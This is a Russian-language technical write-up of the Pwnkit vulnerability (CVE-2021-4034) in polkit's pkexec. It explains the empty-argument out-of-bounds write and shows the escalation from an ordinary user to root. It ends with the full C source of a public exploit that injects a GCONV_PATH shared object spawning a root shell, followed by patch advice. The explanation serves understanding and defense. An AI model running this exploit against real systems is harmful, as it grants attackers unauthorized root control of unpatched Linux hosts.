
Локальное повышение привилегий (LPE) уязвимость в Polkit - Pwnkit
Обнаруженная в 2021 году, но объявленная и раскрытая в январе 2022 года, CVE-2021-4034 была ласково названа Pwnkit, однако она присутствует во всех версиях Policy Toolkit - Polkit package практически во всех дистрибутивах Linux. Короче говоря, эта уязвимость позволяет любому непривилегированному злоумышленнику вертикально повысить свои привилегии до администратора ОС.
[!IMPORTANT] Мы можем найти эту уязвимость в pkexec версии 0.105 или более ранней.
Несмотря на то, что это очень критичная CVE, классифицированная с CVSS оценкой 7.8 балла согласно NIST.GOV, она эксплуатируется только локально, то есть удаленно (через веб-доступ) её эксплуатировать невозможно.
Polkit действует как система авторизации Linux. Когда у вас есть пользователь с маленькими привилегиями и ему нужно выполнить задачу, требующую высоких привилегий (например, администратора), polkit проверяет, есть ли у вашего пользователя необходимые разрешения.
Например, с помощью утилиты pkexec мы можем вызвать функцию polkit, которая проверяет разрешения и запрашивает пароль, если их нет. Как в примере ниже;
Как показано выше, уязвимость Pwnkit существует в pkexec (в процессе проверки разрешений). В этой уязвимости отсутствует защита при обработке параметров, когда pkexec выполняется из командной строки (CLI), что позволяет злоумышленнику манипулировать окружением, и возникает ошибка, называемая "Выход за границы памяти при записи" (Out-of-Bounds Write).
Pkexec пытается разобрать любые аргументы командной строки, которые мы ему передаем, используя цикл for, начиная с индекса 1, чтобы сместить имя программы и получить первый реальный аргумент. Имя программы не имеет значения для разбора аргументов, поэтому индексация просто смещается, чтобы игнорировать его.
Таким образом, если мы не определим никаких аргументов, индекс автоматически устанавливается в 1.
Создадим пример ниже.
for(n=1; n < number_of_arguments; n++){
}
Если количество аргументов равно 0, то 'N' никогда не будет меньше количества аргументов. Следовательно, 'N' остается равным 1, и цикл полностью обходится, цикл не выполнится.
Поскольку аргументов командной строки нет, то аргумента с индексом n тоже нет — вместо этого программа перезаписывает следующую область памяти, которой оказывается первое значение в списке переменных окружения при вызове программы с помощью функции C execve(). Другими словами, передав pkexec пустой список аргументов, мы можем заставить его перезаписать переменную окружения.
Существует несколько способов и различные скрипты в интернете, которые легко эксплуатируют эту уязвимость. Для экономии времени мы воспользуемся скриптом на C, эксплуатирующим эту уязвимость, из репозитория нашего друга Arthepsy.
Этот скрипт использует переменную GCONV_PATH для внедрения общего объекта, который вызывает /bin/sh от имени root.
Arthepsy - CVE-2021-4034 - exploit.c
Перед запуском скрипта проверим наш доступ к уязвимому хосту.
У нас есть пользователь 1000 (не root), и мы не можем выполнять административные функции, такие как useradd.
Мы получили доступ к пользователю root и смогли выполнить некоторые функции, такие как useradd (ошибка относится к другой проблеме, но мы смогли выполнить процесс от имени root).
Готово ✔️
В заключение этого исследования, мы можем быстро взглянуть на скрипт эксплойта ниже;
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
По сути, он использует ранее описанные аргументы pkexec и перезаписывает переменную окружения GCONV_PATH вызовом /bin/sh с установкой setuid(0) (root).
Уже существуют исправленные версии в самом пакете ОС. Выполнив всего лишь команды sudo apt update && sudo apt upgrade, можно исправить эту проблему в вашей системе.